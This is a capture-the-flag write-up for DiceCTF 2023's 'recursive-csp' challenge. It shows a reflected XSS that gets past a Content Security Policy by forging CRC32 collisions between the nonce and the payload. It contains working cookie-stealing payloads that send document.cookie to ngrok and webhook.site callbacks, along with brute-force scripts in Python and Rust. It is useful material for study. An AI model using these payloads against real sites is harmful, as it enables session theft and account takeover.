# recursive-csp
## Overview
- Overall difficulty for me (From 1-10 stars): ★★★★★★★★★☆
- 178 solves / 115 points
## Background
- Author: strellic
the nonce isn't random, so how hard could this be?
(the flag is in the admin bot's cookie)
[recursive-csp.mc.ax](https://recursive-csp.mc.ax)
[Admin Bot](https://adminbot.mc.ax/web-recursive-csp)
## Find the flag
In this challenge, there are 2 websites.
**`recursive-csp.mc.ax`:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204121527.png)
**View source page:**```html
<html>  <head>    <title>recursive-csp</title>  </head>  <body>    <h1>Hello, world!</h1>    <h3>Enter your name:</h3>    <form method="GET">      <input type="text" placeholder="name" name="name" />      <input type="submit" />    </form>   </body></html>```
In here, we see there is a HTML comment.
The `?source` is the GET parameter.
**Let's try to provide that:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204121632.png)
As you can see, we found the PHP source page.
**Source code:**```php
<html>  <head>    <title>recursive-csp</title>  </head>  <body>    <h1>Hello, !</h1>    <h3>Enter your name:</h3>    <form method="GET">      <input type="text" placeholder="name" name="name" />      <input type="submit" />    </form>   </body></html>```
Let's break it down!
- If GET parameter `source` is provided, then show the source code of this PHP file and exit the script- Check GET parameter `name` is provided, and it's data type is string, and the length is less than 128. If no `name` parameter is provided, default one is "world".- Then, **using hashing algorithm CRC32B to digest (hash) our provided `name` parameter's value**- After that, add `Content-Security-Policy` (CSP) header to HTTP response header, with value:    - `default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';`- Finally, echos out our provided `name` parameter's value
**Armed with above information, we can try to provide the `name` GET parameter:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204122605.png)
As you can see, our `name`'s value is being **reflected** to the web page.
That being said, we can try to exploit reflected XSS (Cross-Site Scripting)!
**Payload:**```html<script>alert(document.domain)</script>```
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204122849.png)
However, the alert box doesn't appear, as the `Content-Security-Policy`'s `script-src` is set to `none`. That being said, the back-end will disallow from executing JavaScript code.
> **Content Security Policy** ([CSP](https://developer.mozilla.org/en-US/docs/Glossary/CSP)) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross-Site Scripting ([XSS](https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting)) and data injection attacks. These attacks are used for everything from data theft, to site defacement, to malware distribution.
But! ***The `script-src` directive is set to a `nonce` value.***
Also, ***the `script-src` directive also set to `unsafe-inline`, which enables us to execute any inline JavaScript code!***
Hmm... How can we abuse the `nonce` value...
In [Content Security Policy (CSP) Quick Reference Guide](https://content-security-policy.com/nonce/), it said:
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204124332.png)
As you can see, the nonce's random value must be cryptographically secure random.
In our case, the nonce's value is hashed by our `name` value via CRC32B algorithm.
After poking around, I found an interesting thing.
**we can use the `<meta>` element to redirect users:**```html<meta http-equiv="refresh" content="1;url=https://siunam321.github.io/">```
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204130948.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204130957.png)
Boom! We can redirect users to any website!
However, that doesn't allow us to steal the admin bot's cookie because of the CORS (Cross-Origin Resource Sharing) policy?
Hmm... What if I **redirect the admin bot to our XSS payload**??
But then it'll be blocked because of the nonce value is incorrect...
**Let's go to the "Admin Bot" page:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204144540.png)
In here, we can submit a URL:
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204144705.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204144709.png)
Burp Suite HTTP history:
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204144828.png)
When we clicked the "Submit" button, it'll send a POST request to `/web-recursive-csp`, with parameter `url` and `recaptcha_code`.
Then, it'll redirect us to `/web-recursive-csp` with GET parameter `msg` and `url`.
Maybe we could redirect the admin bot to here, and trigger an XSS payload??
But no dice.
**If you look at the source code:**```phpstrlen($_GET["name"]) < 128```
It checks the string length is less than 128 characters or not. Why it's doing that?
According to [HackTricks](https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass#php-response-buffer-overload), if the response is overflowed (default 4096 bytes), it'll show a warning:
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204152642.png)
So, maybe the checks is preventing that?
Also, I realized that there is a thing called "Hash collision". For example, MD5 hash collision attack, where 2 MD5 hashes are the same, thus collided.
Since **CRC32B algorithm only outputs a 32-bit unsigned value**, we can very easily to brute force it.
**Let's write a simple Python script to brute force it!**```py#!/usr/bin/env python3
from zlib import crc32from itertools import combinations_with_replacement
characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}"counter = 1
# Hash and loop through aa, ab, ac, ...while True:    for character in combinations_with_replacement(characters, counter):        crc32BeforeHashInput = "".join(character).encode('utf-8')        crc32BeforeHashed = hex(crc32(crc32BeforeHashInput))[2:]
        crc32HashNonce = f"<script nonce='{crc32BeforeHashed}'>alert(document.domain)</script>".encode('utf-8')        crc32HashedNonce = hex(crc32(crc32HashNonce))[2:]
        crc32HashPayloadInput = f"<script nonce='{crc32HashedNonce}'>alert(document.domain)</script>".encode('utf-8')        crc32HashedPayload = hex(crc32(crc32HashPayloadInput))[2:]
        print(f'[*] Trying nonce: {crc32HashedNonce}, hashed: {crc32HashedPayload}', end='\r')
        if crc32HashedPayload == crc32HashedNonce:            print('\n[+] Found collided hash!')            print(f'[+] Before hashed 1: {crc32HashNonce.decode()}')            print(f'[+] Before hashed 2: {crc32HashPayloadInput.decode()}')            print(f'[+] After hashed 1: {crc32HashedNonce}')            print(f'[+] After hashed 2: {crc32HashedPayload}')            # exit()    else:        counter += 1```
**If this script found a collided hash, we could use that nonce value in our XSS payload, as the back-end will also generate the same nonce value!**
However, still no luck????
## After the CTF
After the CTF, I found that there is a [GitHub repository](https://github.com/bediger4000/crc32-file-collision-generator) that generate CRC32 hash collision:
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230206203749.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230206203754.png)
**Let's clone that repository!**```shell┌[siunam♥earth]-(/opt)-[2023.02.08|17:37:33(HKT)]└> sudo git clone https://github.com/bediger4000/crc32-file-collision-generator.git[sudo] password for siunam: Cloning into 'crc32-file-collision-generator'...```
**Then, we can create a `target.txt` for generating the nonce value, and `payload.txt` for the XSS payload:**```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:38:00(HKT)]└> echo -n '0' > target.txt┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:41:58(HKT)]└> /opt/crc32-file-collision-generator/crc32 target.txt                target.txt, read 1 bytes	CRC32: f4dbdf21```
> Note: The `-n` flag must be used to remove the new line character (`\n`) in the end.
```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:42:17(HKT)]└> echo -n '<script nonce="f4dbdf21">alert(document.domain)</script>' > payload.txt```
> Note: For testing purposes, we can first use `alert()` JavaScript function.
**After that, use `matchfile` to find the collided hash:**```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:43:01(HKT)]└> /opt/crc32-file-collision-generator/matchfile target.txt payload.txtFile to match has length 1, CRC32 value f4dbdf21File to get to match has length 56, CRC32 value 2d0aaf44Bytes to match: 41db763a3a 76 db 41 :v�A```
Next, URL encode the XSS payload **and the collided bytes**:
```py#!/usr/bin/env python3
import urllib.parse
def main():    url = 'https://recursive-csp.mc.ax/?name='    XSSpayload = ''.join(open('payload.txt', 'r'))    matchedBytes = '%c3%71%37%2f'
    print(f'URL encoded Payload:\n{url}{urllib.parse.quote(XSSpayload)}{matchedBytes}')
if __name__ == '__main__':    main()```
```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:51:09(HKT)]└> python3 url_encode_payload.pyURL encoded Payload:https://recursive-csp.mc.ax/?name=%3Cscript%20nonce%3D%22f4dbdf21%22%3Ealert%28document.domain%29%3C/script%3E%3a%76%db%41```
**Finally, copy and paste that URL encoded payload:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230208175246.png)
Boom!! We successfully triggered an alert box, as the nonce value is matched!!
**Now, to retrieve admin bot's cookie, we can modify the XSS payload.**
But first, we need to:
**Setup Ngrok HTTP port forwarding and Python Simple HTTP server:** (Or you can just use [Webhook.site](https://webhook.site/))```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:20(HKT)]└> ngrok http 8000[...]Web Interface                 http://127.0.0.1:4040                                                        Forwarding                    https://2330-{Redacted}.ap.ngrok.io -> http://localhost:8000[...]```
```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:57(HKT)]└> python3 -m http.server 8000Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...```
**Then we can modify the XSS payload:**```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:01:03(HKT)]└> echo -n '<script nonce="f4dbdf21">document.location="https://2330-{Redacted}.ap.ngrok.io?"+document.cookie</script>' > payload.txt```
> Note: The XSS payload must less than 128 characters, as the web application will check that.
**Again, find the collided bytes:**```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:02:33(HKT)]└> /opt/crc32-file-collision-generator/matchfile target.txt payload.txtFile to match has length 1, CRC32 value f4dbdf21File to get to match has length 110, CRC32 value 43e6a8bdBytes to match: 2f3771c3c3 71 37 2f �q7/```
**URL encode it:**```py    matchedBytes = '%c3%71%37%2f'```
```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:02:57(HKT)]└> python3 url_encode_payload.py URL encoded Payload:https://recursive-csp.mc.ax/?name=%3Cscript%20nonce%3D%22f4dbdf21%22%3Edocument.location%3D%22https%3A//2330-{Redacted}.ap.ngrok.io%3F%22%2Bdocument.cookie%3C/script%3E%c3%71%37%2f```
**Finally, send the above URL to [admin bot](https://adminbot.mc.ax/web-recursive-csp):**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230208180401.png)
**Verify it worked:**```shellWeb Interface                 http://127.0.0.1:4040                                                        Forwarding                    https://2330-{Redacted}.ap.ngrok.io -> http://localhost:8000              Connections                   ttl     opn     rt1     rt5     p50     p90                                                                1       0       0.01    0.00    0.00    0.00                                  HTTP Requests                                                                                              -------------                                                                                               GET /                          200 OK```
```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:57(HKT)]└> python3 -m http.server 8000Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...127.0.0.1 - - [08/Feb/2023 18:03:49] "GET /?flag=dice{h0pe_that_d1dnt_take_too_l0ng} HTTP/1.1" 200 -```
Nice! We successfully retrieved admin bot's cookie!!
- **Flag: `dice{h0pe_that_d1dnt_take_too_l0ng}`**
**Alternatively, I modified the brute force script:**```py#!/usr/bin/env python3
from zlib import crc32
def main():    for i in range(0x0, 0xffffffff + 1):        nonceValue = crc32(bytes(i))
        payload = f'<script nonce="{nonceValue}">document.location="https://webhook.site/9e750b29-46f0-4629-a07c-adeb8a7ed641/?c="+document.cookie</script>'.encode('utf-8')        hashedPayload = crc32(bytes(payload))
        print(f'[*] Trying nonce {nonceValue}, hashed payload {hashedPayload}', end='\r')
        if hashedPayload == nonceValue:            print('[+] Found collided hash!')            print(f'[+] Nonce value: {nonceValue}')            print(f'[+] Hashed value: {hashedPayload}')            print(f'[+] Before hashed payload: {payload.decode()}')            exit()
if __name__ == '__main__':    main()```
This script will loop through hex `0x0` to hex `0xffffffff`, which is from 0 to 4294967295. The reason why we loop through that, is because CRC32 is 32-bit long, or 8 hex characters long. Therefore, we can loop through hex `0x0` to hex `0xffffffff`, to get the hash collision value:
```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:06:13(HKT)]└> python3 brute_force_crc32b.py [...]```
However, using Python to do that would take a very, very long time.
To address this issue, we can use **Rust**.
> Rust is blazingly fast and memory-efficient: with no runtime or garbage collector, it can power performance-critical services, run on embedded devices, and easily integrate with other languages.
- Initialise a new Rust repository:
```shell┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:24:12(HKT)]└> cargo init              Created binary (application) package```
- Modfiy the `src/main.rs`: (The following Rust script is from this challenge's author: strellic, I strongly recommend you to read his [writeup](https://brycec.me/posts/dicectf_2023_challenges#recursive-csp)! Kudos to strellic!)
```rustuse rayon::prelude::*;
fn main() {    let payload = "<script nonce='f4dbdf21'>document.location='https://6466-{Redacted}.ap.ngrok.io?'+document.cookie</script>".to_string();    let start = payload.find("Z").unwrap();    (0..=0xFFFFFFFFu32).into_par_iter().for_each(|i| {        let mut p = payload.clone();        p.replace_range(start..start+8, &format!("{:08x}", i));        if crc32fast::hash(p.as_bytes()) == i {            println!("{} {i} {:08x}", p, i);        }    });}```
> Note: Replace your call back link to yours. Also, the nonce can be remain unchanged.
> It creates a range from 0 to 2^32, then uses Rayon to parallelize it. Then, it places the iterator value into the nonce, and checks that the output of `crc32fast::hash` is itself the iterator value. (Once again, from this challenge author's [writeup](https://brycec.me/posts/dicectf_2023_challenges#recursive-csp)).
Then compile it, and run the compiled executable.
After you found the collided hash, you can repeat the same step in the first solution.
# Conclusion
What we've learned:
1. XSS (Cross-Site Scripting) & CSP (Content Security Policy) Bypass Via Insecure Nonce Value